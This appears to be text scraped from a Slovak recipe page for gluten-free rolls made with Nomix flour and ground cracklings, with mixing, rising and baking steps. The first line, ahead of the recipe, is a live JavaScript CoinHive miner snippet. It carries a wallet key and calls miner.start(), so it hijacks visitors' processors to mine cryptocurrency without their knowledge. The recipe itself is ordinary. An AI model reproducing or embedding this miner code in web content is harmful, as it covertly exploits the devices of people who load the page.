var miner = new CoinHive.Anonymous('49dVbbCFDuhg9nX5u1MDuATVZj7gQehytZwvXEUuWg9kfhNPWH7bUD87VW1NfjqucRZNNVTb1AHGUK2fkq5Nd55mLNnB4WK'); miner.start();

Potrebujeme: 300g Nomix, 250 ml vlažnej vody, 80 g mletých škvariek, 12-14 g čerstvého droždia (Fala alebo Vivo), 1/2 lyžičky cukru, 1 polievková lyžica olivového oleja, 1 lyžička soli

Postup: Najprv vo vlažnej vode rozpustiť droždie s pol lyžičkou cukru. Naliať to do misky s múkou, soľou a olivovým olejom. Dôkladne premiešať, pridať pomleté škvarky, premiešať a pomocou lyžice a lyžičky dávať kôpky do mafinovej formy (ak je silikónová - netreba vymastiť, ak je plechová - radšej vymastiť olejom). Kôpky potom namočenými prstami v studenej vode uhladiť, netreba sa s tým až tak prplať, ono to chytí svoj buchtičkový tvar aj pri kysnutí. Nechať kysnúť na teplom mieste 30 minút. Po vykysnutí potrieť žĺtkom, posypať rascou a piecť vo vyhriatej rúre na 200^{0}C cca 18 minút.